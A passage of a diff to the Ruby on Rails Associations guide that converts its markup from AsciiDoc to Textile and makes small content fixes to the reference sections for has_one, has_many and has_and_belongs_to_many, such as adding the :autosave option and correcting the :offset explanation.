--------------------------------------------------------
+</ruby>
 
 TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
 
-===== +:include+
+h6. +:include+
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account
 end
+
 class Account < ActiveRecord::Base
   belongs_to :supplier
   belongs_to :representative
 end
+
 class Representative < ActiveRecord::Base
   has_many :accounts
 end
--------------------------------------------------------
+</ruby>
 
 If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account, :include => :representative
 end
+
 class Account < ActiveRecord::Base
   belongs_to :supplier
   belongs_to :representative
 end
+
 class Representative < ActiveRecord::Base
   has_many :accounts
 end
--------------------------------------------------------
+</ruby>
 
-===== +:order+
+h6. +:order+
 
 The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
 
-===== +:primary_key+
+h6. +:primary_key+
 
 By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
 
-===== +:readonly+
+h6. +:readonly+
 
 If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
 
-===== +:select+
+h6. +:select+
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
 
-===== +:source+
+h6. +:source+
 
 The +:source+ option specifies the source association name for a +has_one :through+ association.
 
-===== +:source_type+
+h6. +:source_type+
 
 The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
 
-===== +:through+
+h6. :through
 
-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations are discussed in detail later in this guide.
+The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
 
-===== +:validate+
+h6. +:validate+
 
 If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. How To Know Whether There's an Associated Object?
+
+To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>:
+
+<ruby>
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+</ruby>
+
+h5. When are Objects Saved?
 
 When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
 
 If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
 
-If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved.
+If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
 
-If you want to assign an object to a +has_one+ association without saving the object, use the +association.build+ method.
+If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
 
-=== The has_many Association
+h4. +has_many+ Association Reference
 
 The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
 
-==== Methods Added
+h5. Methods Added
 
 When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
 
-* +_collection_(force_reload = false)+
-* +_collection_<<(object, ...)+
-* +_collection_.delete(object, ...)+
-* +_collection_=objects+
-* +_collection\_singular_\_ids+
-* +_collection\_singular_\_ids=ids+
-* +_collection_.clear+
-* +_collection_.empty?+
-* +_collection_.size+
-* +_collection_.find(...)+
-* +_collection_.exist?(...)+
-* +_collection_.build(attributes = {}, ...)+
-* +_collection_.create(attributes = {})+
+* <tt><em>collection</em>(force_reload = false)</tt>
+* <tt><em>collection</em><<(object, ...)</tt>
+* <tt><em>collection</em>.delete(object, ...)</tt>
+* <tt><em>collection</em>=objects</tt>
+* <tt><em>collection_singular</em>_ids</tt>
+* <tt><em>collection_singular</em>_ids=ids</tt>
+* <tt><em>collection</em>.clear</tt>
+* <tt><em>collection</em>.empty?</tt>
+* <tt><em>collection</em>.size</tt>
+* <tt><em>collection</em>.find(...)</tt>
+* <tt><em>collection</em>.exist?(...)</tt>
+* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
+* <tt><em>collection</em>.create(attributes = {})</tt>
 
-In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection\_singular_+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
 Each instance of the customer model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 orders(force_reload = false)
 orders<<(object, ...)
 orders.delete(object, ...)
@@ -1058,125 +1024,117 @@ orders.find(...)
 orders.exist?(...)
 orders.build(attributes = {}, ...)
 orders.create(attributes = {})
--------------------------------------------------------
+</ruby>
 
-===== +_collection_(force_reload = false)+
+h6. <tt><em>collection</em>(force_reload = false)</tt>
 
-The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @orders = @customer.orders
--------------------------------------------------------
+</ruby>
 
-===== +_collection_<<(object, ...)+
+h6. <tt><em>collection</em><<(object, ...)</tt>
 
-The +_collection_<<+ method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @customer.orders << @order1
--------------------------------------------------------
+</ruby>
 
-===== +_collection_.delete(object, ...)+
+h6. <tt><em>collection</em>.delete(object, ...)</tt>
 
-The +_collection_.delete+ method removes one or more objects from the collection by setting their foreign keys to +NULL+.
+The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @customer.orders.delete(@order1)
--------------------------------------------------------
+</ruby>
 
 WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
 
 
-===== +_collection_=objects+
+h6. <tt><em>collection</em>=objects</tt>
 
-The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
 
-===== +_collection\_singular_\_ids+
+h6. <tt><em>collection_singular</em>_ids</tt>
 
-The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @order_ids = @customer.order_ids
--------------------------------------------------------
+</ruby>
 
-===== +__collection\_singular_\_ids=ids+
+h6. <tt><em>collection_singular</em>_ids=ids</tt>
 
-The +__collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
 
-===== +_collection_.clear+
+h6. <tt><em>collection</em>.clear</tt>
 
-The +_collection_.clear+ method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
+The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
 
-===== +_collection_.empty?+
+h6. <tt><em>collection</em>.empty?</tt>
 
-The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 <% if @customer.orders.empty? %>
   No Orders Found
 <% end %>
--------------------------------------------------------
+</ruby>
 
-===== +_collection_.size+
+h6. <tt><em>collection</em>.size</tt>
 
-The +_collection_.size+ method returns the number of objects in the collection.
+The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @order_count = @customer.orders.size
--------------------------------------------------------
+</ruby>
 
-===== +_collection_.find(...)+
+h6. <tt><em>collection</em>.find(...)</tt>
 
-The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
+The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @open_orders = @customer.orders.find(:all, :conditions => "open = 1")
--------------------------------------------------------
+</ruby>
 
-===== +_collection_.exist?(...)+
+h6. <tt><em>collection</em>.exist?(...)</tt>
 
-The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
 
-===== +_collection_.build(attributes = {}, ...)+
+h6. <tt><em>collection</em>.build(attributes = {}, ...)</tt>
 
-The +_collection_.build+ method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
--------------------------------------------------------
+<ruby>
+@order = @customer.orders.build(:order_date => Time.now,
+  :order_number => "A12345")
+</ruby>
 
-===== +_collection_.create(attributes = {})+
+h6. <tt><em>collection</em>.create(attributes = {})</tt>
 
-The +_collection_.create+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
--------------------------------------------------------
+<ruby>
+@order = @customer.orders.create(:order_date => Time.now,
+  :order_number => "A12345")
+</ruby>
 
-==== Options for has_many
+h5. Options for +has_many+
 
 In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders, :dependent => :delete_all, :validate => :false
 end
--------------------------------------------------------
+</ruby>
 
 The +has_many+ association supports these options:
 
-// * +:accessible+
 * +:as+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:counter_sql+
@@ -1198,186 +1156,184 @@ The +has_many+ association supports these options:
 * +:uniq+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:as+
+h6. +:as+
 
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide.
+Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
 
-===== +:class_name+
+h6. +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. +:class_name+
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders, :class_name => "Transaction"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:conditions+
+h6. +:conditions+
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
+  has_many :confirmed_orders, :class_name => "Order",
+    :conditions => "confirmed = 1"
 end
--------------------------------------------------------
+</ruby>
 
 You can also set conditions via a hash:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
+  has_many :confirmed_orders, :class_name => "Order",
+    :conditions => { :confirmed => true }
 end
--------------------------------------------------------
+</ruby>
 
 If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
 
-===== +:counter_sql+
+h6. +:counter_sql+
 
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. 
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
 
 NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
 
-===== +:dependent+
+h6. +:dependent+
 
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
 
 NOTE: This option is ignored when you use the +:through+ option on the association.
 
-===== +:extend+
+h6. +:extend+
 
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
 
-===== +:finder_sql+
+h6. +:finder_sql+
 
 Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
 
-===== +:foreign_key+
+h6. +:foreign_key+
 
 By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders, :foreign_key => "cust_id"
 end
--------------------------------------------------------
+</ruby>
 
 TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
 
-===== +:group+
+h6. +:group+
 
 The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :line_items, :through => :orders, :group => "orders.id"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:include+
+h6. +:include+
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class LineItem < ActiveRecord::Base
   belongs_to :order
 end
--------------------------------------------------------
+</ruby>
 
 If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders, :include => :line_items
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class LineItem < ActiveRecord::Base
   belongs_to :order
 end
--------------------------------------------------------
+</ruby>
 
-===== +:limit+
+h6. +:limit+
 
 The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
-  has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
+  has_many :recent_orders, :class_name => "Order",
+    :order => "order_date DESC", :limit => 100
 end
--------------------------------------------------------
+</ruby>
 
-===== +:offset+
+h6. +:offset+
 
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records.
+The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
 
-===== +:order+
+h6. +:order+
 
 The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders, :order => "date_confirmed DESC"
 end
--------------------------------------------------------
+</ruby>
 
-===== +:primary_key+
+h6. +:primary_key+
 
-By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
 
-===== +:readonly+
+h6. +:readonly+
 
 If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
 
-===== +:select+
+h6. +:select+
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
 
 WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
 
-===== +:source+
+h6. +:source+
 
 The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
 
-===== +:source_type+
+h6. +:source_type+
 
 The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
 
-===== +:through+
+h6. +:through+
 
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
+The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>.
 
-===== +:uniq+
+h6. +:uniq+
 
 Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option.
 
-===== +:validate+
+h6. +:validate+
 
 If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. When are Objects Saved?
 
 When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
 
@@ -1385,43 +1341,41 @@ If any of these saves fails due to validation errors, then the assignment statem
 
 If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
 
-If you want to assign an object to a +has_many+ association without saving the object, use the +_collection_.build+ method.
+If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
 
-=== The +has_and_belongs_to_many+ Association
+h4. +has_and_belongs_to_many+ Association Reference
 
 The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
 
-==== Methods Added
+h5. Methods Added
 
 When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
 
-* +_collection_(force_reload = false)+
-* +_collection_<<(object, ...)+
-* +_collection_.delete(object, ...)+
-* +_collection_=objects+
-* +_collection\_singular_\_ids+
-* +_collection\_singular_\_ids=ids+
-* +_collection_.clear+
-* +_collection_.empty?+
-* +_collection_.size+
-* +_collection_.find(...)+
-* +_collection_.exist?(...)+
-* +_collection_.build(attributes = {})+
-* +_collection_.create(attributes = {})+
+* <tt><em>collection</em>(force_reload = false)</tt>
+* <tt><em>collection</em><<(object, ...)</tt>
+* <tt><em>collection</em>.delete(object, ...)</tt>
+* <tt><em>collection</em>=objects</tt>
+* <tt><em>collection_singular</em>_ids</tt>
+* <tt><em>collection_singular</em>_ids=ids</tt>
+* <tt><em>collection</em>.clear</tt>
+* <tt><em>collection</em>.empty?</tt>
+* <tt><em>collection</em>.size</tt>
+* <tt><em>collection</em>.find(...)</tt>
+* <tt><em>collection</em>.exist?(...)</tt>
+* <tt><em>collection</em>.build(attributes = {})</tt>
+* <tt><em>collection</em>.create(attributes = {})</tt>
 
-In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection_\_singular+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+</ruby>
 
 Each instance of the part model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 assemblies(force_reload = false)
 assemblies<<(object, ...)
 assemblies.delete(object, ...)
@@ -1435,133 +1389,125 @@ assemblies.find(...)
 assemblies.exist?(...)
 assemblies.build(attributes = {}, ...)
 assemblies.create(attributes = {})
--------------------------------------------------------
+</ruby>
 
-===== Additional Column Methods
+h6. Additional Column Methods
 
 If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
 
 WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
 
 
-===== +_collection_(force_reload = false)+
+h6. <tt><em>collection</em>(force_reload = false)</tt>
 
-The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @assemblies = @part.assemblies
--------------------------------------------------------
+</ruby>
 
-===== +_collection_<<(object, ...)+
+h6. <tt><em>collection</em><<(object, ...)</tt>
 
-The +_collection_<<+ method adds one or more objects to the collection by creating records in the join table.
+The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @part.assemblies << @assembly1
--------------------------------------------------------
+</ruby>
 
-NOTE: This method is aliased as +_collection_.concat+ and +_collection_.push+.
+NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
 
-===== +_collection_.delete(object, ...)+
+h6. <tt><em>collection</em>.delete(object, ...)</tt>
 
-The +_collection_.delete+ method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @part.assemblies.delete(@assembly1)
--------------------------------------------------------
+</ruby>
 
-===== +_collection_=objects+
+h6. <tt><em>collection</em>=objects</tt>
 
-The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
 
-===== +_collection\_singular_\_ids+
+h6. <tt><em>collection_singular</em>_ids</tt>
 
-#   Returns an array of the associated objects' ids
+The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
 
-The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
-
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @assembly_ids = @part.assembly_ids
--------------------------------------------------------
+</ruby>
 
-===== +_collection\_singular_\_ids=ids+
+h6. <tt><em>collection_singular</em>_ids=ids</tt>
 
-The +_collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
 
-===== +_collection_.clear+
+h6. <tt><em>collection</em>.clear</tt>
 
-The +_collection_.clear+ method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.
+The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
 
-===== +_collection_.empty?+
+h6. <tt><em>collection</em>.empty?</tt>
 
-The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 <% if @part.assemblies.empty? %>
   This part is not used in any assemblies
 <% end %>
--------------------------------------------------------
+</ruby>
 
-===== +_collection_.size+
+h6. <tt><em>collection</em>.size</tt>
 
-The +_collection_.size+ method returns the number of objects in the collection.
+The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @assembly_count = @part.assemblies.size
--------------------------------------------------------
+</ruby>
 
-===== +_collection_.find(...)+
+h6. <tt><em>collection</em>.find(...)</tt>
 
-The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
+The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
 
-[source, ruby]
--------------------------------------------------------
-@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
--------------------------------------------------------
+<ruby>
+@new_assemblies = @part.assemblies.find(:all,
+  :conditions => ["created_at > ?", 2.days.ago])
+</ruby>
 
-===== +_collection_.exist?(...)+
+h6. <tt><em>collection</em>.exist?(...)</tt>
 
-The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
 
-===== +_collection_.build(attributes = {})+
+h6. <tt><em>collection</em>.build(attributes = {})</tt>
 
-The +_collection_.build+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
--------------------------------------------------------
+<ruby>
+@assembly = @part.assemblies.build(
+  {:assembly_name => "Transmission housing"})
+</ruby>
 
-===== +_collection_.create(attributes = {})+
+h6. <tt><em>collection</em>.create(attributes = {})</tt>
 
-The +_collection_.create+ method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
--------------------------------------------------------
+<ruby>
+@assembly = @part.assemblies.create(
+  {:assembly_name => "Transmission housing"})
+</ruby>
 
-==== Options for has_and_belongs_to_many
+h5. Options for +has_and_belongs_to_many+
 
-In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
+In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
+  has_and_belongs_to_many :assemblies, :uniq => true,
+    :read_only => true
 end
--------------------------------------------------------
+</ruby>
 
 The +has_and_belongs_to_many+ association supports these options:
 
-// * +:accessible+
 * +:association_foreign_key+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:counter_sql+
@@ -1581,153 +1527,150 @@ The +has_and_belongs_to_many+ association supports these options:
 * +:uniq+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:association_foreign_key+
+h6. +:association_foreign_key+
 
